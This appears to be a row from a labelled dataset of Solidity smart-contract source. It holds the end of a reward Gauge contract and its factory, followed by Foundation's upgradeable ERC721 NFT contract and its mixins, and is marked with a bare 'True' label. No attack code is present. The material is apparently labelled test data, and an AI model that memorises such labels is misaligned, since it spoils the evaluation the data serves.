return _remaining * rewardRate[token];
}
function notifyRewardAmount(address token, uint amount) external lock {
require(token != stake);
require(amount > 0);
if (rewardRate[token] == 0) _writeRewardPerTokenCheckpoint(token, 0, block.timestamp);
(rewardPerTokenStored[token], lastUpdateTime[token]) = _updateRewardPerToken(token);
if (block.timestamp >= periodFinish[token]) {
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = amount / DURATION;
} else {
uint _remaining = periodFinish[token] - block.timestamp;
uint _left = _remaining * rewardRate[token];
require(amount > _left);
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = (amount + _left) / DURATION;
}
require(rewardRate[token] > 0);
uint balance = erc20(token).balanceOf(address(this));
require(rewardRate[token] <= balance / DURATION, "Provided reward too high");
periodFinish[token] = block.timestamp + DURATION;
if (!isReward[token]) {
isReward[token] = true;
rewards.push(token);
}
emit NotifyReward(msg.sender, token, amount);
}
function _safeTransfer(address token, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeApprove(address token, address spender, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.approve.selector, spender, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
contract GaugeFactory {
address public last_gauge;
function createGauge(address _asset, address _bribe, address _ve) external returns (address) {
last_gauge = address(new Gauge(_asset, _bribe, _ve, msg.sender));
return last_gauge;
}
function createGaugeSingle(address _asset, address _bribe, address _ve, address _voter) external returns (address) {
last_gauge = address(new Gauge(_asset, _bribe, _ve, _voter));
return last_gauge;
}
} | True | [
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|
/*
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* ★ ﾟ･｡ * ｡
* ☆ ｡･ﾟ*.｡
ﾟ *.｡☆｡★ ･
` .-:::::-.` `-::---...```
`-:` .:+ssssoooo++//:.` .-/+shhhhhhhhhhhhhyyyssooo:
.--::. .+ossso+/////++/:://-` .////+shhhhhhhhhhhhhhhhhhhhhy
`-----::. `/+////+++///+++/:--:/+/- -////+shhhhhhhhhhhhhhhhhhhhhy
`------:::-` `//-.``.-/+ooosso+:-.-/oso- -////+shhhhhhhhhhhhhhhhhhhhhy
.--------:::-` :+:.` .-/osyyyyyyso++syhyo.-////+shhhhhhhhhhhhhhhhhhhhhy
`-----------:::-. +o+:-.-:/oyhhhhhhdhhhhhdddy:-////+shhhhhhhhhhhhhhhhhhhhhy
.------------::::-- `oys+/::/+shhhhhhhdddddddddy/-////+shhhhhhhhhhhhhhhhhhhhhy
.--------------:::::-` +ys+////+yhhhhhhhddddddddhy:-////+yhhhhhhhhhhhhhhhhhhhhhy
`----------------::::::-`.ss+/:::+oyhhhhhhhhhhhhhhho`-////+shhhhhhhhhhhhhhhhhhhhhy
.------------------:::::::.-so//::/+osyyyhhhhhhhhhys` -////+shhhhhhhhhhhhhhhhhhhhhy
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.--------------------::/:::.` -+o++++++oooosssss/. `-//+shhhhhhhhhhhhhhhhhhhhyo
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// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "@openzeppelin/contracts-upgradeable/introspection/ERC165Upgradeable.sol";
import "./mixins/OZ/ERC721Upgradeable.sol";
import "./mixins/FoundationTreasuryNode.sol";
import "./mixins/roles/FoundationAdminRole.sol";
import "./mixins/HasSecondarySaleFees.sol";
import "./mixins/NFT721Core.sol";
import "./mixins/NFT721Market.sol";
import "./mixins/NFT721Creator.sol";
import "./mixins/NFT721Metadata.sol";
import "./mixins/NFT721Mint.sol";
/**
* @title Foundation NFTs implemented using the ERC-721 standard.
* @dev This top level file holds no data directly to ease future upgrades.
*/
contract FNDNFT721 is
FoundationTreasuryNode,
FoundationAdminRole,
ERC165Upgradeable,
HasSecondarySaleFees,
ERC721Upgradeable,
NFT721Core,
NFT721Creator,
NFT721Market,
NFT721Metadata,
NFT721Mint
{
/**
* @notice Called once to configure the contract after the initial deployment.
* @dev This farms the initialize call out to inherited contracts as needed.
*/
function initialize(
address payable treasury,
string memory name,
string memory symbol
) public initializer {
FoundationTreasuryNode._initializeFoundationTreasuryNode(treasury);
ERC721Upgradeable.__ERC721_init(name, symbol);
HasSecondarySaleFees._initializeHasSecondarySaleFees();
NFT721Creator._initializeNFT721Creator();
NFT721Mint._initializeNFT721Mint();
}
/**
* @notice Allows a Foundation admin to update NFT config variables.
* @dev This must be called right after the initial call to `initialize`.
*/
function adminUpdateConfig(address _nftMarket, string memory baseURI) public onlyFoundationAdmin {
_updateNFTMarket(_nftMarket);
_updateBaseURI(baseURI);
}
/**
* @dev This is a no-op, just an explicit override to address compile errors due to inheritance.
*/
function _burn(uint256 tokenId)
internal
virtual
override(ERC721Upgradeable, NFT721Creator, NFT721Metadata, NFT721Mint)
{
super._burn(tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC165Upgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable
/**
* Copied from the OpenZeppelin repository in order to make `_tokenURIs` internal instead of private.
*/
pragma solidity >=0.6.0 <0.8.0;
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721MetadataUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721EnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/introspection/ERC165Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/EnumerableMapUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Upgradeable is
Initializable,
ContextUpgradeable,
ERC165Upgradeable,
IERC721Upgradeable,
IERC721MetadataUpgradeable,
IERC721EnumerableUpgradeable
{
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet;
using EnumerableMapUpgradeable for EnumerableMapUpgradeable.UintToAddressMap;
using StringsUpgradeable for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping(address => EnumerableSetUpgradeable.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMapUpgradeable.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) internal _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (!to.isContract()) {
return true;
}
bytes memory returndata =
to.functionCall(
abi.encodeWithSelector(
IERC721ReceiverUpgradeable(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
),
"ERC721: transfer to non ERC721Receiver implementer"
);
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[41] private __gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
/**
* @notice A mixin that stores a reference to the Foundation treasury contract.
*/
abstract contract FoundationTreasuryNode is Initializable {
using AddressUpgradeable for address payable;
address payable private treasury;
/**
* @dev Called once after the initial deployment to set the Foundation treasury address.
*/
function _initializeFoundationTreasuryNode(address payable _treasury) internal initializer {
require(_treasury.isContract(), "FoundationTreasuryNode: Address is not a contract");
treasury = _treasury;
}
/**
* @notice Returns the address of the Foundation treasury.
*/
function getFoundationTreasury() public view returns (address payable) {
return treasury;
}
// `______gap` is added to each mixin to allow adding new data slots or additional mixins in an upgrade-safe way.
uint256[2000] private __gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "../../interfaces/IAdminRole.sol";
import "../FoundationTreasuryNode.sol";
/**
* @notice Allows a contract to leverage an admin role defined by the Foundation contract.
*/
abstract contract FoundationAdminRole is FoundationTreasuryNode {
// This file uses 0 data slots (other than what's included via FoundationTreasuryNode)
modifier onlyFoundationAdmin() {
require(
IAdminRole(getFoundationTreasury()).isAdmin(msg.sender),
"FoundationAdminRole: caller does not have the Admin role"
);
_;
}
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "@openzeppelin/contracts-upgradeable/introspection/ERC165Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
/**
* @notice An interface for communicating fees to 3rd party marketplaces.
* @dev Originally implemented in mainnet contract 0x44d6e8933f8271abcf253c72f9ed7e0e4c0323b3
*/
abstract contract HasSecondarySaleFees is Initializable, ERC165Upgradeable {
/*
* bytes4(keccak256('getFeeBps(uint256)')) == 0x0ebd4c7f
* bytes4(keccak256('getFeeRecipients(uint256)')) == 0xb9c4d9fb
*
* => 0x0ebd4c7f ^ 0xb9c4d9fb == 0xb7799584
*/
bytes4 private constant _INTERFACE_ID_FEES = 0xb7799584;
/**
* @dev Called once after the initial deployment to register the interface with ERC165.
*/
function _initializeHasSecondarySaleFees() internal initializer {
_registerInterface(_INTERFACE_ID_FEES);
}
function getFeeRecipients(uint256 id) public view virtual returns (address payable[] memory);
function getFeeBps(uint256 id) public view virtual returns (uint256[] memory);
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
/**
* @notice A place for common modifiers and functions used by various NFT721 mixins, if any.
* @dev This also leaves a gap which can be used to add a new mixin to the top of the inheritance tree.
*/
abstract contract NFT721Core {
uint256[1000] private ______gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "../interfaces/IFNDNFTMarket.sol";
import "./FoundationTreasuryNode.sol";
import "./HasSecondarySaleFees.sol";
import "./NFT721Creator.sol";
/**
* @notice Holds a reference to the Foundation Market and communicates fees to 3rd party marketplaces.
*/
abstract contract NFT721Market is FoundationTreasuryNode, HasSecondarySaleFees, NFT721Creator {
using AddressUpgradeable for address;
event NFTMarketUpdated(address indexed nftMarket);
IFNDNFTMarket private nftMarket;
/**
* @notice Returns the address of the Foundation NFTMarket contract.
*/
function getNFTMarket() public view returns (address) {
return address(nftMarket);
}
function _updateNFTMarket(address _nftMarket) internal {
require(_nftMarket.isContract(), "NFT721Market: Market address is not a contract");
nftMarket = IFNDNFTMarket(_nftMarket);
emit NFTMarketUpdated(_nftMarket);
}
/**
* @notice Returns an array of recipient addresses to which fees should be sent.
* The expected fee amount is communicated with `getFeeBps`.
*/
function getFeeRecipients(uint256 id) public view override returns (address payable[] memory) {
require(_exists(id), "ERC721Metadata: Query for nonexistent token");
address payable[] memory result = new address payable[](2);
result[0] = getFoundationTreasury();
result[1] = tokenCreator(id);
return result;
}
/**
* @notice Returns an array of fees in basis points.
* The expected recipients is communicated with `getFeeRecipients`.
*/
function getFeeBps(
uint256 /* id */
) public view override returns (uint256[] memory) {
(, uint256 secondaryF8nFeeBasisPoints, uint256 secondaryCreatorFeeBasisPoints) = nftMarket.getFeeConfig();
uint256[] memory result = new uint256[](2);
result[0] = secondaryF8nFeeBasisPoints;
result[1] = secondaryCreatorFeeBasisPoints;
return result;
}
/**
* @notice Get fee recipients and fees in a single call.
* The data is the same as when calling getFeeRecipients and getFeeBps separately.
*/
function getFees(uint256 tokenId)
public
view
returns (address payable[2] memory recipients, uint256[2] memory feesInBasisPoints)
{
require(_exists(tokenId), "ERC721Metadata: Query for nonexistent token");
recipients[0] = getFoundationTreasury();
recipients[1] = tokenCreator(tokenId);
(, uint256 secondaryF8nFeeBasisPoints, uint256 secondaryCreatorFeeBasisPoints) = nftMarket.getFeeConfig();
feesInBasisPoints[0] = secondaryF8nFeeBasisPoints;
feesInBasisPoints[1] = secondaryCreatorFeeBasisPoints;
}
uint256[1000] private ______gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "./OZ/ERC721Upgradeable.sol";
/**
* @notice Allows each token to be associated with a creator.
*/
abstract contract NFT721Creator is Initializable, ERC721Upgradeable {
mapping(uint256 => address payable) private tokenIdToCreator;
event TokenCreatorUpdated(address indexed fromCreator, address indexed toCreator, uint256 indexed tokenId);
/*
* bytes4(keccak256('tokenCreator(uint256)')) == 0x40c1a064
*/
bytes4 private constant _INTERFACE_TOKEN_CREATOR = 0x40c1a064;
modifier onlyCreator(uint256 tokenId) {
require(tokenIdToCreator[tokenId] == msg.sender, "NFT721Creator: Caller is not creator");
_;
}
modifier onlyCreatorAndOwner(uint256 tokenId) {
require(tokenIdToCreator[tokenId] == msg.sender, "NFT721Creator: Caller is not creator");
require(ownerOf(tokenId) == msg.sender, "NFT721Creator: Caller does not own the NFT");
_;
}
/**
* @dev Called once after the initial deployment to register the interface with ERC165.
*/
function _initializeNFT721Creator() internal initializer {
_registerInterface(_INTERFACE_TOKEN_CREATOR);
}
/**
* @notice Returns the creator's address for a given tokenId.
*/
function tokenCreator(uint256 tokenId) public view returns (address payable) {
return tokenIdToCreator[tokenId];
}
function _updateTokenCreator(uint256 tokenId, address payable creator) internal {
emit TokenCreatorUpdated(tokenIdToCreator[tokenId], creator, tokenId);
tokenIdToCreator[tokenId] = creator;
}
/**
* @notice Allows the creator to burn if they currently own the NFT.
*/
function burn(uint256 tokenId) public onlyCreatorAndOwner(tokenId) {
_burn(tokenId);
}
/**
* @dev Remove the creator record when burned.
*/
function _burn(uint256 tokenId) internal virtual override {
delete tokenIdToCreator[tokenId];
super._burn(tokenId);
}
uint256[1000] private ______gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol";
import "./NFT721Core.sol";
import "./NFT721Creator.sol";
/**
* @notice A mixin to extend the OpenZeppelin metadata implementation.
*/
abstract contract NFT721Metadata is NFT721Creator {
using StringsUpgradeable for uint256;
/**
* @dev Stores hashes minted by a creator to prevent duplicates.
*/
mapping(address => mapping(string => bool)) private creatorToIPFSHashToMinted;
event BaseURIUpdated(string baseURI);
event TokenIPFSPathUpdated(uint256 indexed tokenId, string indexed indexedTokenIPFSPath, string tokenIPFSPath);
// This event was used in an order version of the contract
event NFTMetadataUpdated(string name, string symbol, string baseURI);
/**
* @notice Returns the IPFSPath to the metadata JSON file for a given NFT.
*/
function getTokenIPFSPath(uint256 tokenId) public view returns (string memory) {
return _tokenURIs[tokenId];
}
/**
* @notice Checks if the creator has already minted a given NFT.
*/
function getHasCreatorMintedIPFSHash(address creator, string memory tokenIPFSPath) public view returns (bool) {
return creatorToIPFSHashToMinted[creator][tokenIPFSPath];
}
function _updateBaseURI(string memory _baseURI) internal {
_setBaseURI(_baseURI);
emit BaseURIUpdated(_baseURI);
}
/**
* @dev The IPFS path should be the CID + file.extension, e.g.
* `QmfPsfGwLhiJrU8t9HpG4wuyjgPo9bk8go4aQqSu9Qg4h7/metadata.json`
*/
function _setTokenIPFSPath(uint256 tokenId, string memory _tokenIPFSPath) internal {
// 46 is the minimum length for an IPFS content hash, it may be longer if paths are used
require(bytes(_tokenIPFSPath).length >= 46, "NFT721Metadata: Invalid IPFS path");
require(!creatorToIPFSHashToMinted[msg.sender][_tokenIPFSPath], "NFT721Metadata: NFT was already minted");
creatorToIPFSHashToMinted[msg.sender][_tokenIPFSPath] = true;
_setTokenURI(tokenId, _tokenIPFSPath);
}
/**
* @dev When a token is burned, remove record of it allowing that creator to re-mint the same NFT again in the future.
*/
function _burn(uint256 tokenId) internal virtual override {
delete creatorToIPFSHashToMinted[msg.sender][_tokenURIs[tokenId]];
super._burn(tokenId);
}
uint256[999] private ______gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "./OZ/ERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "./NFT721Creator.sol";
